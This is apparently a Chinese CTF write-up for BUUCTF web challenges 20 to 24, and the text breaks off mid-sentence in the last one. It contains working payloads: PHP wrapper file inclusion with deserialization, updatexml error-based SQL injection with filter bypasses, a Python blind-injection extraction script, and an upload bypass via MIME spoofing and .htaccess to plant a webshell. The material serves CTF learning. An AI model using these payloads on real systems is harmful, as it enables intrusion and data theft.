BUUCTF-Web_第一页_WP总结笔记(下)

BUUCTF-page_1 总结(下:20-28)

---钦原.2021-5月末

总目录整理:

文件包含类:

 

1: HCTF-warmup-2018:php(审计文件包含)

4.[ACTF2020 新生赛]Include

5.[极客大挑战 2019]Secret File

 

SQL注入类:

2.Web-强网杯sql随便注:

3.[SUCTF 2019]EasySQL

6.[极客大挑战 2019]LoveSQL

15.[极客大挑战 2019]BabySQL

21.[极客大挑战 2019]HardSQL

25.[GYCTF2020]Blacklist

22.[CISCN2019 华北赛区 Day2 Web1]Hack World

26.[GXYCTF2019]BabySQli

 

命令执行类:

7.[ACTF2020 新生赛]Exec

8.[GXYCTF2019]Ping Ping Ping

 

框架特性利用类:

9.[护网杯 2018]easy_tornado

php解析特性绕过利用类:

10.[RoarCTF 2019]Easy Calc

 

HTTP请求头等基础题类:

11.[极客大挑战 2019]Http

17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)

16.[ACTF2020 新生赛]BackupFilephp弱类型比较)

18.[BJDCTF2020]Easy MD5

24.[MRCTF2020]Ez_bypass(弱类型)

 

审计-反序列化类:

12.[极客大挑战 2019]PHP--->  php-serialize()反序列化

20.[ZJCTF 2019]NiZhuanSiWei

31.[网鼎杯 2020 青龙组]AreUSerialz

27.[网鼎杯 2018]Fakebook  sql+反序列化+ssrf

28.[网鼎杯 2020 青龙组]AreUSerialz

 

文件上传类:

13.[极客大挑战 2019]Upload

14.[ACTF2020 新生赛]Upload

19.[SUCTF 2019]CheckIn

23.[MRCTF2020]你传你马呢?

--------------------------------------------------------------------------------------------------------------------------------


20.[ZJCTF 2019]NiZhuanSiWei


 

发现审计内容:

看到有include文件包含,是解题的重点,所以先看第一个if,必须先满足它。

text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf

file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没有一个文件,而是读取的text变量。没查到相关这方面的用法,特别是那个r参数。

而如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。

所以需要用方法绕过它,两种方法

1.php://input伪协议

此协议需要 allow_url_include on ,可以访问请求的原始数据的只读流, post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input ,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用bp抓包。

看到有回显,可行。


 

2.data://伪协议

data://协议需要满足双on条件,作用和 php://input 类似


 

也可以加上 base64 编码。


 

再看第二个if file不能有flag字符。没啥,往下看。

提示了有一个 useless.php ,想到之前说的PHP伪协议中的php://filter读取文件。尝试。

 

php://filter/read=convert.base64-encode/resource=useless.php

 

所以构造payload

http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/

?text=data:text/plain,welcome to the zjctf

&file=php://filter/read/convert.base64-encode/resource=useless.php

成功回显。


 

(此处textdata://的理由是php://input是用post而拼接变量,不方便)

得到的base64经过解码后为:

useless.php       

<?php  

class Flag{  //flag.php  

public $file;  

public function __tostring(){  

if(isset($this->file)){  

echo file_get_contents($this->file);

echo "<br>";

return ("U R SO CLOSE !///COME ON PLZ");

}  

}  

}  

?>  

看到有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串。

<?php  

class Flag{  //flag.php  

public $file;  

public function __tostring(){  

if(isset($this->file)){  

echo file_get_contents($this->file);

echo "<br>";

return ("U R SO CLOSE !///COME ON PLZ");

}  

}  

}  

$a=new Flag();

$a->file="flag.php";

echo serialize($a);

?>  

此处建议在线php

输出为:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

所以构造payload

http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/

?text=data:text/plain,welcome to the zjctf

&file=php://filter/read/convert.base64-encode/resource=useless.php

&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag回显:

这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag 。需修改为 useless.php
最终payload
    http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/

 ?text=data:text/plain,welcome to the zjctf

 &file=useless.php

 &password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

访问后f12即可见flag
flag{31a696e7-345d-4fd7-95ee-853510639c47}

优秀wphttps://blog.csdn.net/tm_1024/article/details/107150182

21.[极客大挑战 2019]HardSQL

首先抓包丢sqlmap level3慢慢跑

这边先测试:

1

判断闭合:单引号成功闭合

2

判断注释:#成功注释

3

逻辑触发:

'and 1=1# 被拦截

经测试:andor、空格、=、等

被封死了,想想其他的办法,可以使用extractvalueupdatexml进行报错注入

空格和=号没有,所以我们要使用()来代替空格,使用like来代替=

^  等同于 and  

语法:  Updatexml(1,  concat(0x7e,    ,0x7e) ,1)

构造payload

'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#


 

出库名,继续走,遇到空格就()小括号包裹绕过

'^updatexml(1,concat(0x7e,(select((group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

发现被检测,一看,忘记把最后的=换成like

墨迹好半天,老报错。。注意小括号位置且要完整对应

'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1)#

H4rDsq1

'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)#

id,username,password

继续跟password字段:

'^updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)#


 

flag{195ec821-750a-4f9a-a86b-9c

发现显示不完整:

补充知识点:

left()   right()  函数,

LEFT(ARG,LENGTH)RIGHT(ARG,LENGTH)

LEFTRIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHARBINARY STRING

发现只能输出32位左右,那我们让他从右往左输出30个,然后拼接

所以构造payload

'^updatexml(1,concat(0x7e,(select(right((password),30))from(H4rDsq1)),0x7e),1)#

//right((password),30)

     1-750a-4f9a-a86b-9cfbdec97feb}

拼接:flag{195ec821-750a-4f9a-a86b-9cfbdec97feb}

22.[CISCN2019 华北赛区 Day2 Web1]Hack World

(有史以来最最最,感觉学python真的有用,尤其是爆破的一次!!Burp盲注ascii爆破搞了42位,然后python3不到40秒钟就出来,心态啊。)

看题:测试过滤了什么?:

union,or,and,||,&&,order,limit,*,;,%23,#,",还有空格都等常用常见的sql注入、判断语句被过滤了。

但可以替换and^ 符没被过滤,那么:
   用 ^ 替换and

()包裹替换空格,本题经测试可知是布尔盲注:这道题除了过滤就是无脑布尔盲注,脚本或burp(会py一定脚本),故没有太多原理可补充,直接贴 wp

解题方法:

可以

这样傻乎乎的爆破42位(没错当我不会python的时候我都这么做。。还真做出来了呵呵呵呵f*

python3 确保网络速度和页面链接正常,秒出。。

----------------------------------------------

import requests

import time

url = "http://0913e479-f140-4b93-90b7-48bdc9c6206c.node3.buuoj.cn/index.php"      #这里url为自己的

payload = {

"id" : ""

}

result = ""

for i in range(1,50):

l = 33

r =130

mid = (l+r)>>1

while(l<r):

payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)

html = requests.post(url,data=payload)

#print(payload)        #这里可以输出payload,想看payload的可以看

if "Hello" in html.text:

l = mid+1

else:

r = mid

mid = (l+r)>>1

if(chr(mid)==" "):

break

result = result + chr(mid)

print(result)

print("flag: " ,result)

-----------------------

结果:

flag{e8c369df-da87-4e7a-8c96-4632bcc11cdf}   over

23.[MRCTF2020]你传你马呢?

打开靶场 是上传


 

裸马被拦截,继续测试,尝试MIME绕过:
文件后缀改为jpgConcent-type字段改为:  image/jpeg


 

成功上传至:

/upload/347fbe793214f7430dc140daf0d84d99/.jpg

但无法按照php解析?尝试使用配置文件绕过:.htaccess文件绕过

编写一个txt内容为:SetHandler application/x-httpd-php   后保存,更名为.htaccess

上传至靶场,同时更改类型为 image/jpeg

回显:成功上传

/var/www/html/upload/347fbe793214f7430dc140daf0d84d99/.htaccess succesfully uploaded!

之后用蚁剑连接上传好的jpg马子,就ok

 

主要考查了基本的文件上传MIME和后缀名检测绕过,加上.htaccess 配置利用的绕过。

24.[MRCTF2020]Ez_bypass

打开靶场,发现给好了源码,f12后整理到code


 

发现

第一步考察的是php弱类型:get收到的ggid的值不能相等但是md5的值需要强相等:

直接数组绕过,hackbarget传入?gg[]=1&id[]=2

成功突破第一关

接着审计发现需要让passwd变量,post传入,且不能为数字的前提下值为1234567

考虑梅开二度数组法,结果: